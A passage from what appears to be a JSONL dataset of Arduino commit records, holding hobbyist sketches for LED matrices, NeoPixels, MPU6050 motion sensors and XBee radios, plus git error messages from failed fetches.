a1);\n\tanalogWrite(PIN_MOTOR_RIGHT_ENA, constrain(corrected_motor_right, 0, MOTOR_MAX));\n\tadd_status_code(correction_motor_right);\n\tadd_status_code(corrected_motor_right);\n}\n\n\/\/odometry encoders\nvoid intr_left_encoder() {\n\n\todom_ticks_left++;\n\todom_ticks_left_since_cmd++;\n}\n\nvoid intr_right_encoder() {\n\n\todom_ticks_right++;\n\todom_ticks_right_since_cmd++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'robik_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8cda0710c9067a47764da51b8e80a01c6411cbfc","subject":"Change to serial read in loop instead of read line command","message":"Change to serial read in loop instead of read line command\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/MuscleLeonardo\/MuscleLeonardo.ino","new_file":"Muscle\/Arduino Code\/MuscleLeonardo\/MuscleLeonardo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/MuscleLeonardo\/MuscleLeonardo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0422405cacedcd9202ee6a7935494932519b283","subject":"uploading RFID example code","message":"uploading RFID example code\n","repos":"nicksutera\/railroad,nicksutera\/railroad,nicksutera\/railroad","old_file":"arduino\/rfid\/rfid.ino","new_file":"arduino\/rfid\/rfid.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nicksutera\/railroad.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e0ccccd884da6aeb80aa7a9acead63b93b183656","subject":"Add 8x8 bicolor example","message":"Add 8x8 bicolor example","repos":"PEstes\/spark-adafruit-led-backpack,creationix\/spark-adafruit-led-backpack","old_file":"firmware\/examples\/8x8-bicolor.ino","new_file":"firmware\/examples\/8x8-bicolor.ino","new_contents":"\n\/***************************************************\n This is a library for our I2C LED Backpacks\n\n Designed specifically to work with the Adafruit LED Matrix backpacks\n ----> http:\/\/www.adafruit.com\/products\/872\n ----> http:\/\/www.adafruit.com\/products\/871\n ----> http:\/\/www.adafruit.com\/products\/870\n\n These displays use I2C to communicate, 2 pins are required to\n interface. There are multiple selectable I2C addresses. For backpacks\n with 2 Address Select pins: 0x70, 0x71, 0x72 or 0x73. For backpacks\n with 3 Address Select pins: 0x70 thru 0x77\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"adafruit-led-backpack\/adafruit-led-backpack.h\"\n\nAdafruit_BicolorMatrix matrix = Adafruit_BicolorMatrix();\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"8x8 LED Matrix Test\");\n\n matrix.begin(0x70); \/\/ pass in the address\n}\n\nstatic const uint8_t\n smile_bmp[] =\n { B00111100,\n B01000010,\n B10100101,\n B10000001,\n B10100101,\n B10011001,\n B01000010,\n B00111100 },\n neutral_bmp[] =\n { B00111100,\n B01000010,\n B10100101,\n B10000001,\n B10111101,\n B10000001,\n B01000010,\n B00111100 },\n frown_bmp[] =\n { B00111100,\n B01000010,\n B10100101,\n B10000001,\n B10011001,\n B10100101,\n B01000010,\n B00111100 };\n\nvoid loop() {\n\n matrix.clear();\n matrix.drawBitmap(0, 0, smile_bmp, 8, 8, LED_GREEN);\n matrix.writeDisplay();\n delay(500);\n\n matrix.clear();\n matrix.drawBitmap(0, 0, neutral_bmp, 8, 8, LED_YELLOW);\n matrix.writeDisplay();\n delay(500);\n\n matrix.clear();\n matrix.drawBitmap(0, 0, frown_bmp, 8, 8, LED_RED);\n matrix.writeDisplay();\n delay(500);\n\n matrix.clear(); \/\/ clear display\n matrix.drawPixel(0, 0, LED_GREEN);\n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n delay(500);\n\n matrix.clear();\n matrix.drawLine(0,0, 7,7, LED_YELLOW);\n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n delay(500);\n\n matrix.clear();\n matrix.drawRect(0,0, 8,8, LED_RED);\n matrix.fillRect(2,2, 4,4, LED_GREEN);\n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n delay(500);\n\n matrix.clear();\n matrix.drawCircle(3,3, 3, LED_YELLOW);\n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n delay(500);\n\n matrix.setTextWrap(false); \/\/ we dont want text to wrap so it scrolls nicely\n matrix.setTextSize(1);\n matrix.setTextColor(LED_GREEN);\n for (int8_t x=7; x>=-36; x--) {\n matrix.clear();\n matrix.setCursor(x,0);\n matrix.print(\"Hello\");\n matrix.writeDisplay();\n delay(100);\n }\n matrix.setRotation(3);\n matrix.setTextColor(LED_RED);\n for (int8_t x=7; x>=-36; x--) {\n matrix.clear();\n matrix.setCursor(x,0);\n matrix.print(\"World\");\n matrix.writeDisplay();\n delay(100);\n }\n matrix.setRotation(0);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/8x8-bicolor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6158fa3cf5c572027907bb5888e2d01e203db5ab","subject":"code for gyro added","message":"code for gyro added\n","repos":"MichalBryxi\/why-not,MichalBryxi\/why-not,MichalBryxi\/why-not,MichalBryxi\/why-not","old_file":"Arduino\/gyro\/gyro.ino","new_file":"Arduino\/gyro\/gyro.ino","new_contents":"#include \"Wire.h\"\n#include \"I2Cdev.h\"\n#include \"MPU6050.h\"\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 accelgyro;\n\nint16_t ax, ay, az, gx, gy, gz;\n\nvoid setup() {\n Wire.begin();\n\n \/\/ initialize serial communication\n \/\/ (38400 chosen because it works as well at 8MHz as it does at 16MHz, but\n \/\/ it's really up to you depending on your project)\n Serial.begin(38400);\n\n accelgyro.initialize();\n\n \/\/ verify connection\n Serial.println(\"Testing device connections...\");\n Serial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n}\n\nvoid printNumber(int16_t number) {\n char tmp[5];\n sprintf(tmp, \"%6d\", number);\n \/\/sprintf(tmp, \"%0.4X\", number);\n Serial.print(tmp); Serial.print(\" \");\n}\n\nvoid loop() {\n accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n printNumber(ax);\n printNumber(ay);\n printNumber(az);\n printNumber(gx);\n printNumber(gy);\n printNumber(gz);\n Serial.println();\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/gyro\/gyro.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ccdfd13a1caef5db8b06999e6c8cf1ae2870c5d","subject":"Arduino code for evaluating stepper drivers, initial commit","message":"Arduino code for evaluating stepper drivers, initial commit\n","repos":"dlofstrom\/3D-Printer-rev3,dlofstrom\/3D-Printer-rev3,dlofstrom\/3D-Printer-rev3","old_file":"Arduino\/Stepper_eval\/Stepper_eval.ino","new_file":"Arduino\/Stepper_eval\/Stepper_eval.ino","new_contents":"unsigned long tic;\nunsigned long toc;\n\nvoid setup() {\n Serial.begin(9600);\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n\n tic = millis();\n toc = millis();\n}\n\nvoid loop() {\n toc = millis();\n \n if(Serial.available()) {\n Serial.write(Serial.read());\n }\n\n\n if (toc - tic > 1000) {\n digitalWrite(13, !digitalRead(13));\n tic = toc;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Stepper_eval\/Stepper_eval.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"667d2533a11a9df5c8e3e93a57ce262d0f8d0979","subject":"upload test sketch for users to try basic functionality","message":"upload test sketch for users to try basic functionality","repos":"Protonerd\/DIYino","old_file":"DIYino_Testsketch.ino","new_file":"DIYino_Testsketch.ino","new_contents":"\n\n#include <Arduino.h>\n#include <DFPlayer.h>\n#include <I2Cdev.h>\n#include <MPU6050_6Axis_MotionApps20.h>\n#include <EEPROMex.h>\n#include <OneButton.h>\n\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n#include <Wire.h>\n#endif\n\n#define XYZ\n\n#define MPUCALIBEEPROM\n#ifdef MPUCALIBEEPROM\n#define MEMORYBASEMPUCALIBOFFSET 96 \/\/ start storing the calibration values starting at this address\n#endif\n#ifndef MPUCALIBEEPROM\n#define MPUCALIBMANUAL\n#endif\n#define DEBUGVERBOSE\n\n#define DFPLAYER_RX\t\t\t8\n#define DFPLAYER_TX\t\t\t7\n#define SPK1\t\t\t\t20 \/\/A6\n#define SPK2\t\t\t\t21 \/\/A7\n\n\n#define MAIN_BUTTON\t\t\t13\n#define LOCKUP_BUTTON\t\t4\n\/***************************************************************************************************\n * Motion detection Variables\n *\/\nMPU6050 mpu;\n\/\/ MPU control\/status vars\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\nuint16_t mpuFifoCount; \/\/ count of all bytes currently in FIFO\n\/\/ calibrated acc\/gyro values\nint16_t ax_zero, ay_zero, az_zero;\nint16_t gx_zero, gy_zero, gz_zero;\n\/\/ orientation\/motion vars\nQuaternion quaternion; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nstatic Quaternion quaternion_last; \/\/ [w, x, y, z] quaternion container\nstatic Quaternion quaternion_reading; \/\/ [w, x, y, z] quaternion container\nstatic VectorInt16 aaWorld_last; \/\/ [x, y, z] world-frame accel sensor measurements\nstatic VectorInt16 aaWorld_reading; \/\/ [x, y, z] world-frame accel sensor measurements\n\n\/***************************************************************************************************\n * LED String variables\n *\/\n#define LEDSTRING1 \t\t\t3\n#define LEDSTRING2 \t\t\t5\n#define LEDSTRING3 \t\t\t6\n#define LEDSTRING4 \t\t\t9\n#define LEDSTRING5 \t\t\t10\n#define LEDSTRING6 \t\t\t11\nuint8_t ledPins[] = { LEDSTRING1, LEDSTRING2, LEDSTRING3, LEDSTRING4,\nLEDSTRING5, LEDSTRING6 };\nuint8_t LEDbrightness;\nint8_t signSoundFile, signVolume, signBrightness;\n\n\/***************************************************************************************************\n * DFPLAYER variables\n *\/\nDFPlayer dfplayer;\nuint8_t dfplayer_volume;\nuint8_t SoundFile;\n\nvoid setup() {\n \n\/\/ variable declaration\nint16_t mpu_caliboffset_AccX, mpu_caliboffset_AccY, mpu_caliboffset_AccZ, mpu_caliboffset_GyroX, mpu_caliboffset_GyroY, mpu_caliboffset_GyroZ;\n\n \n \n\t\/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n\tWire.begin();\n\tTWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz). Comment this line if having compilation difficulties with TWBR.\n#elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n\t\t\tFastwire::setup(400, true);\n#endif\n\n\/\/ Serial line for debug\nSerial.begin(115200);\n\n\n\t\/***** DF PLAYER INITIALISATION *****\/\n\tdfplayer.setSerial(DFPLAYER_TX, DFPLAYER_RX);\n dfplayer_volume=25;\n\tdfplayer.setVolume(dfplayer_volume);\n\tdelay(200);\n\tpinMode(SPK1, INPUT);\n\tpinMode(SPK2, INPUT);\n\n\t\/\/setup finished. Boot ready. We notify !\n\tdfplayer.playPhysicalTrack(18);\n\tdelay(20);\n\n\n \/\/ dump config values stored in EEPROM\n \/\/saveConfig();\n Serial.println(\"EEPROM Dump (first 256 bytes): \");\n for (uint8_t i = 0; i < 255; i++) {\n Serial.println(EEPROM.readByte(i));\n }\n\n\n\n\n\t\/***** MP6050 MOTION DETECTOR INITIALISATION *****\/\n\n\t\/\/ initialize device\n\tSerial.println(F(\"Initializing I2C devices...\"));\n\tmpu.initialize();\n\n\t\/\/ verify connection\n\tSerial.println(F(\"Testing device connections...\"));\n\tSerial.println(\n\t\t\tmpu.testConnection() ?\n\t\t\t\t\tF(\"MPU6050 connection successful\") :\n\t\t\t\t\tF(\"MPU6050 connection failed\"));\n\n\t\/\/ load and configure the DMP\n\tSerial.println(F(\"Initializing DMP...\"));\n\tdevStatus = mpu.dmpInitialize();\n\n#ifdef MPUCALIBEEPROM\n \/\/mpu.setXAccelOffset(0);\n \/\/mpu.setYAccelOffset(0);\n \/\/mpu.setZAccelOffset(20000);\n \/\/mpu.setXGyroOffset(0);\n \/\/mpu.setYGyroOffset(0);\n \/\/mpu.setZGyroOffset(20000);\n\t\/*\n\t * Those offsets are specific to each MPU6050 device.\n\t * they are found via calibration process.\n\t * See this script http:\/\/www.i2cdevlib.com\/forums\/index.php?app=core&module=attach§ion=attach&attach_id=27\n\t *\/\n \/\/ retreive MPU6050 calibrated offset values from EEPROM\n EEPROM.setMemPool(MEMORYBASEMPUCALIBOFFSET, EEPROMSizeATmega328);\n int addressInt=MEMORYBASEMPUCALIBOFFSET;\n mpu_caliboffset_AccX=EEPROM.readInt(addressInt);\n mpu.setXAccelOffset(mpu_caliboffset_AccX);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated AcceleroX Offset: \");Serial.println(mpu_caliboffset_AccX);Serial.println(\"\");\n \n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int)); \n mpu_caliboffset_AccY=EEPROM.readInt(addressInt);\n mpu.setYAccelOffset(mpu_caliboffset_AccY);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated AcceleroY Offset: \");Serial.println(mpu_caliboffset_AccY);Serial.println(\"\");\n \n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int));\n mpu_caliboffset_AccZ=EEPROM.readInt(addressInt);\n mpu.setZAccelOffset(mpu_caliboffset_AccZ);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated AcceleroZ Offset: \");Serial.println(mpu_caliboffset_AccZ);Serial.println(\"\");\n \n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int));\n mpu_caliboffset_GyroX=EEPROM.readInt(addressInt);\n mpu.setXGyroOffset(mpu_caliboffset_GyroX);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated GyroX Offset: \");Serial.println(mpu_caliboffset_GyroX);Serial.println(\"\");\n \n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int)); \n mpu_caliboffset_GyroY=EEPROM.readInt(addressInt);\n mpu.setYGyroOffset(mpu_caliboffset_GyroY);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated GyroY Offset: \");Serial.println(mpu_caliboffset_GyroY);Serial.println(\"\");\n\n addressInt = addressInt + 2; \/\/EEPROM.getAddress(sizeof(int));\n mpu_caliboffset_GyroZ=EEPROM.readInt(addressInt);\n mpu.setZGyroOffset(mpu_caliboffset_GyroZ);\n Serial.print(\"EEPROM address: \");Serial.println(addressInt);Serial.print(\"Calibrated GyroZ Offset: \");Serial.println(mpu_caliboffset_GyroZ);Serial.println(\"\");\n\n#endif\n#ifdef XYZ\n\tif (devStatus == 0) {\n\t\t\/\/ turn on the DMP, now that it's ready\n\t\tSerial.println(F(\"Enabling DMP...\"));\n\t\tmpu.setDMPEnabled(true);\n\n\t\t\/\/ enable Arduino interrupt detection\n\t\tSerial.println(\n\t\t\t\tF(\n\t\t\t\t\t\t\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n\/\/\t\tattachInterrupt(0, dmpDataReady, RISING);\n\t\tmpuIntStatus = mpu.getIntStatus();\n\n\t\t\/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n\t\tSerial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n\t\tdmpReady = true;\n\n\t\t\/\/ get expected DMP packet size for later comparison\n\t\tpacketSize = mpu.dmpGetFIFOPacketSize();\n\t} else {\n\t\t\/\/ ERROR!\n\t\t\/\/ 1 = initial memory load failed\n\t\t\/\/ 2 = DMP configuration updates failed\n\t\t\/\/ (if it's going to break, usually the code will be 1)\n\t\tSerial.print(F(\"DMP Initialization failed (code \"));\n\t\tSerial.print(devStatus);\n\t\tSerial.println(F(\")\"));\n\t}\n\n\n \/\/ set the fll scale range of the gyro- and accelerometer respectively\n mpu.setFullScaleGyroRange(0); \/\/0: 250deg\/s | 1: 500deg\/s | 2: 1000deg\/s | 3: 2000deg\/s\n mpu.setFullScaleAccelRange(0); \/\/0: 2g | 1: 4g | 2: 8g | 3: 16g\n\n\t\/\/ configure the motion interrupt for clash recognition\n\t\/\/ INT_PIN_CFG register\n\t\/\/ in the working code of MPU6050_DMP all bits of the INT_PIN_CFG are false (0)\n\n\tmpu.setInterruptMode(false); \/\/ INT_PIN_CFG register INT_LEVEL (0-active high, 1-active low)\n\tmpu.setInterruptDrive(false); \/\/ INT_PIN_CFG register INT_OPEN (0-push\/pull, 1-open drain)\n\tmpu.setInterruptLatch(false); \/\/ INT_PIN_CFG register LATCH_INT_EN (0 - emits 50us pulse upon trigger, 1-pin is held until int is cleared)\n\tmpu.setInterruptLatchClear(false); \/\/ INT_PIN_CFG register INT_RD_CLEAR (0-clear int only on reading int status reg, 1-any read clears int)\n\tmpu.setFSyncInterruptLevel(false);\n\tmpu.setFSyncInterruptEnabled(false);\n\tmpu.setI2CBypassEnabled(false);\n\t\/\/ Enable\/disable interrupt sources - enable only motion interrupt\n\tmpu.setIntFreefallEnabled(false);\n\tmpu.setIntMotionEnabled(true);\n\tmpu.setIntZeroMotionEnabled(false);\n\tmpu.setIntFIFOBufferOverflowEnabled(false);\n\tmpu.setIntI2CMasterEnabled(false);\n\tmpu.setIntDataReadyEnabled(false);\n\tmpu.setIntMotionEnabled(true); \/\/ INT_ENABLE register enable interrupt source motion detection\n\tmpu.setMotionDetectionThreshold(10); \/\/ 1mg\/LSB\n\tmpu.setMotionDetectionDuration(2); \/\/ number of consecutive samples above threshold to trigger int\n\tmpuIntStatus = mpu.getIntStatus();\n\tSerial.println(\"MPU6050 register setup:\");\n\tSerial.print(\"INT_PIN_CFG\\t\");\n\tSerial.print(mpu.getInterruptMode());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getInterruptDrive());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getInterruptLatch());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getInterruptLatchClear());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getFSyncInterruptLevel());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getFSyncInterruptEnabled());\n\tSerial.print(\"\\t\");\n\tSerial.println(mpu.getI2CBypassEnabled());\n\t\/\/ list INT_ENABLE register contents\n\tSerial.print(\"INT_ENABLE\\t\");\n\tSerial.print(mpu.getIntFreefallEnabled());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getIntMotionEnabled());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getIntZeroMotionEnabled());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getIntFIFOBufferOverflowEnabled());\n\tSerial.print(\"\\t\");\n\tSerial.print(mpu.getIntI2CMasterEnabled());\n\tSerial.print(\"\\t\");\n\tSerial.println(mpu.getIntDataReadyEnabled());\n\t\/***** MP6050 MOTION DETECTOR INITIALISATION *****\/ \n\n\t\/***** LED SEGMENT INITIALISATION *****\/\n\t\/\/ initialize ledstrings segments\n\tDDRD |= B01101000;\n\tDDRB |= B00001110;\n\n\t\/\/We shut off all pins that could wearing leds,just to be sure\n\tPORTD &= B10010111;\n\tPORTB &= B11110001;\n#endif\n\n \/\/mpu.setXAccelOffset(0);\n \/\/mpu.setYAccelOffset(0);\n \/\/mpu.setZAccelOffset(32767);\n \/\/mpu.setXGyroOffset(0);\n \/\/mpu.setYGyroOffset(0);\n \/\/mpu.setZGyroOffset(20000);\n \n \/\/ initialise global loop variables\n LEDbrightness=0;\n SoundFile=1;\n signBrightness=1;\n signSoundFile=1;\n signVolume=1;\n \n dfplayer.setVolume(dfplayer_volume);\n\tdelay(200);\n\tdfplayer.playPhysicalTrack(20);\n}\n\nvoid loop() {\n \n uint8_t i;\n int16_t ax, ay, az;\n int16_t gx, gy, gz;\n \n if (LEDbrightness==50) {signBrightness=-1;}\n if (LEDbrightness==0) {signBrightness=1;}\n if (dfplayer_volume==31) {signVolume=-1;}\n if (dfplayer_volume==0) {signVolume=1;}\n if (SoundFile==30) {signSoundFile=-1;}\n if (SoundFile==0) {signSoundFile=1;}\n \n mpu.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n \/\/ display tab-separated accel\/gyro x\/y\/z values\n Serial.print(\"Acceleration- and Gyro values:\\t\");\n Serial.print(ax); Serial.print(\"\\t\");\n Serial.print(ay); Serial.print(\"\\t\");\n Serial.print(az); Serial.print(\"\\t\");\n Serial.print(gx); Serial.print(\"\\t\");\n Serial.print(gy); Serial.print(\"\\t\");\n Serial.println(gz);\n \n for (int i = 0; i < sizeof(ledPins); i++) {\n analogWrite(ledPins[i], constrain(LEDbrightness,0,50));\n } \n if (LEDbrightness==50) {\n\n\t\/\/delay(20);\n }\n \n LEDbrightness=LEDbrightness+signBrightness;\n dfplayer_volume=dfplayer_volume+signVolume;\n SoundFile=SoundFile+signSoundFile;\n \n mpuIntStatus = mpu.getIntStatus();\n\t\tif (mpuIntStatus > 60 and mpuIntStatus < 70) {\n\t\t\t\/*\n\t\t\t * THIS IS A CLASH !\n\t\t\t *\/\n Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");\n Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");\n Serial.println(\" CLASH! \");\n Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");\n Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");Serial.println(\"*\");\n\n\n\n } \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DIYino_Testsketch.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"d0ac1e8e0fa51038728d332fddffb755d5a4a1a4","subject":"Grabber code added","message":"Grabber code added\n","repos":"auvnitrkl\/tiburon-3.0","old_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/auvnitrkl\/tiburon-3.0.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"24e038ade2d5bc4188b1fbf16e8206c8e08458e1","subject":"dimmer LEDs","message":"dimmer LEDs\n","repos":"hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi","old_file":"ardesp\/neopixel\/strandtest2\/strandtest2.ino","new_file":"ardesp\/neopixel\/strandtest2\/strandtest2.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define PIN 6\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nvoid setup() {\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n #if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n #endif\n \/\/ End of trinket special code\n\n\n strip.begin();\n strip.setBrightness(10);\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the pixels:\n colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n\/\/colorWipe(strip.Color(0, 0, 0, 255), 50); \/\/ White RGBW\n \/\/ Send a theater pixel chase in...\n theaterChase(strip.Color(127, 127, 127), 50); \/\/ White\n theaterChase(strip.Color(127, 0, 0), 50); \/\/ Red\n theaterChase(strip.Color(0, 0, 127), 50); \/\/ Blue\n\n rainbow(20);\n rainbowCycle(20);\n theaterChaseRainbow(50);\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.setBrightness(10);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.setBrightness(10);\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.setBrightness(10);\n strip.show();\n delay(wait);\n }\n}\n\n\/\/Theatre-style crawling lights.\nvoid theaterChase(uint32_t c, uint8_t wait) {\n for (int j=0; j<10; j++) { \/\/do 10 cycles of chasing\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, c); \/\/turn every third pixel on\n }\n strip.setBrightness(10);\n strip.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, Wheel( (i+j) % 255)); \/\/turn every third pixel on\n }\n strip.setBrightness(10);\n strip.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardesp\/neopixel\/strandtest2\/strandtest2.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"9672849029a1c2dbfa2232281a0b272d2b5228c1","subject":"added program for waspmote","message":"added program for waspmote\n","repos":"ghorbanzade\/bodynets13","old_file":"src\/main\/c\/ard.ino","new_file":"src\/main\/c\/ard.ino","new_contents":"char aux[200]; \npacketXBee* paq_sent;\nuint8_t direction[8]={0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF};\n\nvoid setup()\n{\n ACC.ON();\n xbee802.init(XBEE_802_15_4,FREQ2_4G,NORMAL);\n xbee802.ON();\n}\n\nvoid loop()\n{\n paq_sent=(packetXBee*) calloc(1,sizeof(packetXBee)); \n paq_sent->mode=BROADCAST; \n paq_sent->MY_known=0; \n paq_sent->packetID=0x52; 